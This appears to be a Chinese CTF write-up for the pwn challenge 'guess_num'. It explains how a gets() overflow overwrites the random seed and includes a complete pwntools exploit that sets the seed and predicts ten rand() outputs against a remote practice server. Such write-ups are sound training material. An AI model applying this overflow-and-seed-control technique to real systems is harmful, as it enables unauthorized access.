guess_num

image.png

0x00 filechecksec

image.png

0x01 ida查看

image.png

image.png
  • 程序基本邏輯是生成隨機數(shù),然后猜,連續(xù)猜中10次便可得到flag
  • 發(fā)現(xiàn)v7使用了gets危險函數(shù),而且可以覆蓋seed
  • 所以就有了思路,seed能夠被控制的話,那隨機數(shù)也就相當(dāng)于可以控制了,具體的可以查看srand、rand、seed的關(guān)系

0x02 完整exp

from pwn import *
from ctypes import *

local=0
pc='./guess_num'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
   # gdb.attach(p,'c')
else:
    remote_addr=['111.198.29.45', 45968]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    payload = ''
    payload += 'A'*0x20
    payload += p64(1)
    sla('Your name:', payload)

    for i in range(0,10):
        num = str(libc.rand()%6+1)
        sla('number:', num)
    p.interactive()

0x03 結(jié)果

image.png
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容